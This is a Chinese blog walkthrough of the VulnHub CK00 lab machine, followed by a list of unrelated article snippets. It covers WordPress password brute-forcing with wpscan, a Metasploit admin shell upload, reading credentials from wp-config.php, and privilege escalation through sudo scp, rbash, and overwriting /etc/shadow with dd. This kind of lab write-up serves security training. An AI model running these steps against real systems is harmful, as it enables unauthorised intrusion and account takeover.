VulnHub:CK00

靶場搭建

靶機下載地址:CK: 00 ~ VulnHub

下載后,在vmware中打開靶機。

  1. 修改網絡配置為NAT

  2. 處理器修改為2

  3. 啟動靶機

靶機ip掃描不到的解決辦法

  1. 靶機開機時一直按shift或者esc直到進入GRUB界面。

  2. 按e進入編輯模式,找到ro,修改為如下內容。ctrl+x重啟服務。

    rw signie init=/bin/bash quiet
  3. 進入如下頁面。如果沒有進入說明第二步修改錯誤,重新執行1,2步。? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??

  4. ip a查看網卡信息。這里網卡是ens33。? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??

  5. 打開網卡配置文件vi /etc/netplan/50-cloud-init.yaml。? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??

    發現網卡名稱不一致,按i修改為以下內容。增加的內容主要是為了將ens33網卡ip配置成攻擊機同網段。? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??

    • addresses: [ip/24]

    • gateway4: 網關

    • nameservers: addresses: [dns]

  6. netplan apply生效,再重啟靶機即可修改成功。

如果上述步驟仍然不行,在步驟5前增加一步:apt install ifupdown resolvconf

信息收集

主機發現

nmap 192.168.233.0/24 -sP -T4

靶機ip為:192.168.233.121。

端口掃描

nmap 192.168.233.121 -A -T4

開放22,80端口。

目錄掃描and網站指紋

首先看看80端口網站首頁。最重要的信息是WordPress。

網站指紋掃描確認一下。

whatweb http://192.168.233.121

該網站的確由WordPress搭建。繼續目錄掃描。

dirsearch -u http://192.168.233.121

根據掃描結果,發現有重定向到ck這個域名的情況,直接訪問報錯報錯,因此需要修改一下hosts文件,vim /etc/hosts,增加一條主機名和IP地址的映射關系:

192.168.233.121  ck

訪問/wp-login.php。需要用戶密碼,用wpscan進行枚舉。

訪問/wp-includes。沒找到名字和內容敏感的文件。

wpscan

根據前面的信息收集,80端口的網站由WordPress搭建,我們使用wpscan(WordPress掃描工具)掃描,目的是枚舉用戶和密碼。

# 枚舉用戶,插件,主題
wpscan --url http://192.168.233.121 --enumerate u,p,t

根據掃描結果,發現存在admin用戶。接下來使用wpscan爆破密碼。

wpscan --url http://192.168.233.121 --passwords 字典路徑 --usernames admin --max-threads 100

密碼是admin。成功登入wordpress后臺。

2、漏洞利用

已知WordPress用戶名和密碼,打開msf,使用unix/webapp/wp_admin_shell_upload模塊。

msfconsole
search wp_admin
use 0
options
set rhosts 192.168.233.121
set password admin
set username admin
run

成功拿到meterpreter,看到當前權限不高。進入shell模式,進行信息收集。

shell
# 顯示用戶名和路徑(可以不執行這一步)
python3 -c 'import pty;pty.spawn("/bin/bash")'

切換到home目錄,發現存在ck,bla,bla1三個用戶。在/home/ck路徑下發現第一個flag。

在wp-config.php中找到數據庫用戶名和密碼。cat /var/www/html/wp-config.php

3、提權

得到的密碼嘗試確認是bla用戶的密碼。

sudo -l想辦法提權。可用利用scp命令拿到bla1的shell。

scp提權

搜一下scp如何提權。百度告訴我們執行以下四步即可提權。

做一下修改,因為是切換到bla1所以命令應該是:sudo -u bla1 scp -S $TF x y:。命令執行后報錯Can't open /tmp/tmp.kPOFihNHbV,chmod將這個文件的權限修改為777即可。

rbash

繼續提權sudo -l

提示我們利用/bin/rbash拿到ck-00的shell,無密碼。rbash是什么,rbash是受限制的 bash,這里可以就當作是/bin/bash使用,直接切換到ck-00。

sudo -u ck-00 /bin/rbash

sudo -l。提示我們通過dd提權到root權限。

dd提權

dd命令是用于讀取、轉換、輸出數據的,dd提權主要是利用對數據的轉換來實現的,比如:替換root用戶密碼hash值從而修改密碼達到提權的目的。

在攻擊機上生成明文密碼的hash。使用mkpasswd生成sha-512加密算法的hash。

# -m 指定加密方式
mkpasswd -m sha-512 123456

參照kali中shadow文件root用戶的用戶信息,將第二個參數密碼的hash值替換成剛剛生成的hash值并保存起來備用。

cat /etc/shadow
# 將結果復制出來,替換一下root用戶的hash值
root:$6$lpM1sB/rsDFuAgCN$4kuMA2zqpN9z2O5c5B27GQd.SY3L/R3zC1z4CAQXRJ4jgxW81F3xsE08l7A./1SxBuW/31YBTgcqzKZEI0n.j1:18878:0:99999:7:::

到靶機中,將etc/shadow替換為剛剛備好的內容。

echo 'root:$6$lpM1sB/rsDFuAgCN$4kuMA2zqpN9z2O5c5B27GQd.SY3L/R3zC1z4CAQXRJ4jgxW81F3xsE08l7A./1SxBuW/31YBTgcqzKZEI0n.j1:18878:0:99999:7:::' | sudo dd of=/etc/shadow

執行完畢后,切換到root用戶,輸入我們設置的密碼即可。

get root flag🎆

總結

這里推薦一個網站GTFOBins,用于找提權利用方式的網站。

例如:需要利用dd命令提權,訪問該網站,輸入dd。

點開后會顯示利用方法。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/46220.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/46220.shtml
英文地址,請注明出處:http://en.pswp.cn/web/46220.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Kubernetes網絡性能測試-calico插件環境

Kubernetes 網絡性能測試-calico插件環境 本次主要針對calico網絡插件k8s集群的網絡性能進行摸底及測試方法探索實踐。 1. 測試準備 1.1 測試環境 測試環境為VMware Workstation虛擬機搭建的一套K8S環境,版本為1.28.2,網絡插件使用calico&#xff0c…

6Python的Pandas:數據讀取與輸出

Pandas是一個強大的Python數據分析庫,提供了讀取和輸出數據的多種功能。以下是一些常見的數據讀取與輸出方法: 1. 讀取CSV 讀取數據 從CSV文件讀取數據 import pandas as pd# 讀取CSV文件 df pd.read_csv(file_path.csv) print(df.head())從Excel文…

Flutter 狀態管理調研總結

一, 候選狀態管理組件簡介 0. flutter_hooks 一個 React 鉤子在 Flutter 上的實現:Making Sense of React Hooks 鉤子是一種用來管理 Widget 生命周期的新對象,以減少重復代碼、增加組件間復用性,允許將視圖邏輯提取到通用的用例中并重用&…

思路|如何利用oneNote釣魚?

本文僅用于技術研究學習,請遵守相關法律,禁止使用本文所提及的相關技術開展非法攻擊行為,由于傳播、利用本文所提供的信息而造成任何不良后果及損失,與本賬號及作者無關。 本文來源無問社區,更多實戰內容,…

[python]pycharm設置清華源

國內鏡像源有以下幾個,因為都是國內的,基本速度差不了太多。 清華:https://pypi.tuna.tsinghua.edu.cn/simple 阿里云:http://mirrors.aliyun.com/pypi/simple/ 中國科技大學 https://pypi.mirrors.ustc.edu.cn/simple/ 豆瓣&…

針對【module_or_function】的單元測試,全面覆蓋可能的【edge_cases】

針對【module_or_function】的單元測試,全面覆蓋可能的【edge_cases】 編寫單元測試是為了驗證代碼模塊或函數的正確性和魯棒性。對于module_or_function,首先需要確定這個模塊或函數的具體功能和預期輸入范圍。一個好的單元測試應該包括以下幾個步驟&a…

高并發服務器-使用多線程(Multi-Thread)實現【C語言】

在上期的socket套接字的使用詳解中(socket套接字的使用詳解)最后實現的TCP服務器只能處理一個客戶端的請求發送,當有其他客戶端請求連接時會被阻塞。為了能同時處理多個客戶端的連接請求,本期使用多線程的方式來解決。 程序流程 …

爬蟲案例(讀書網)(下)

上篇鏈接: CSDN-讀書網https://mp.csdn.net/mp_blog/creation/editor/139306808 可以看見基本的全部信息:如(author、bookname、link.....) 寫下代碼如下: import requests from bs4 import BeautifulSoup from lxml import etreeheaders{…

scottplot5 中 使用signalXY圖,如何更新數據?

🏆本文收錄于《CSDN問答解答》專欄,主要記錄項目實戰過程中的Bug之前因后果及提供真實有效的解決方案,希望能夠助你一臂之力,幫你早日登頂實現財富自由🚀;同時,歡迎大家關注&&收藏&…

總部下達任務時,如何保證員工的執行力?

執行力是個體基于戰略目標,有效整合利用資源,保質保量完成預定目標的操作能力,員工執行力的高低是企業完成效益、成果轉化的關鍵。執行力包含完成任務的意愿、完成能力、完成程度三個維度,其中意愿是基礎和出發點,能力…

物聯網與通信技術

查了很多資料,也夾雜著一些自己的見解。此篇文章僅探討三個問題:物聯網與通信技術的關系;5G為物聯網帶來了什么,物聯網真的需要5G嗎;物聯網發展的現實問題。 1、物聯網與通信技術的關系 最近幾年,物聯網的…

Apache POI 使用Java處理Excel數據 進階

1.POI入門教程鏈接 http://t.csdnimg.cn/Axn4Phttp://t.csdnimg.cn/Axn4P建議&#xff1a;從入門看起會更好理解POI對Excel數據的使用和處理 記得引入依賴&#xff1a; <dependency><groupId>org.apache.poi</groupId><artifactId>poi</artifactI…

CentOS搭建 Mono 開發環境

Mono 是一個由 Xamarin 公司所主持的自由開放源代碼項目,該項目的目標是創建一系列匹配ECMA標準的.NET工具,包括 C# 編譯器和通用語言架構,Mono項目不僅可以運行于Windows系統上,還可以運行于Linux,FreeBSD,Unix,OS X和Solaris,甚至一些游戲平臺,本實驗帶您搭建 Mono …

Linux chmod 命令簡介

在Linux中&#xff0c;chmod 命令用于改變文件或文件夾的訪問權限。要改變一個文件夾及其內部所有文件和子文件夾的權限&#xff0c;您可以使用遞歸選項 -R。以下是一些常用的 chmod 命令示例&#xff1a; 給所有用戶讀、寫和執行權限&#xff1a; chmod -R 777 /path/to/direc…

JVM高頻面試點

文章目錄 JVM內存模型程序計數器Java虛擬機棧本地方法棧Java堆方法區運行時常量池 Java對象對象的創建如何為對象分配內存 對象的內存布局對象頭實例數據對齊填充 對象的訪問定位 垃圾收集器找到垃圾引用計數法可達性分析&#xff08;根搜索法&#xff09; 引用概念的擴充回收方…

【Socket套接字編程】(實現TCP和UDP的通信)

&#x1f387;&#x1f389;&#x1f389;&#x1f389;點進來你就是我的人了 博主主頁&#xff1a;&#x1f648;&#x1f648;&#x1f648;戳一戳&#xff0c;歡迎大佬指點&#xff01; 人生格言: 當你的才華撐不起你的野心的時候,你就應該靜下心來學習! 歡迎志同道合的朋友…

java序列化與反系列化,serializable原理,Parcelable接口原理解析,Json,XML

Java的序列化和反序列化是用于對象的持久化和傳輸的重要機制。以下是對相關概念的詳細解釋&#xff1a; Java 序列化與反序列化 序列化 (Serialization) 是將 Java 對象轉換為字節流的過程&#xff0c;這樣對象就可以通過網絡傳輸或者保存到文件中。反序列化 (Deserializatio…

創建通用JS公共模塊并發布至npm

title: 創建通用JS公共模塊并發布至npm tags: UMD rollup verdaccio npm categories: 模塊化 概要內容 創建&#xff1a;JS公共模塊 打包&#xff1a;使用rollup 打包公共模塊 發布&#xff1a;js公共模塊至verdaccio平臺 發布&#xff1a;js公共模塊至npm平臺 如何創建JS公共模…

【PostgreSQL】Windows 上安裝 PostgreSQL 16版本

博主介紹:?全網粉絲20W+,CSDN博客專家、Java領域優質創作者,掘金/華為云/阿里云/InfoQ等平臺優質作者、專注于Java技術領域? 技術范圍:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大數據、物聯網、機器學習等設計與開發。 感興趣的可…

二叉樹遍歷(C++)

題目描述 樹和二叉樹基本上都有先序、中序、后序、按層遍歷等遍歷順序&#xff0c; 給定中序和其它一種 遍歷的序列就可以確定一棵二叉樹的結構。 假定一棵二叉樹一個結點用一個字符描述&#xff0c;現在給出中序和按層遍歷的字符串&#xff0c;求該樹 的先序遍歷字符串。 輸…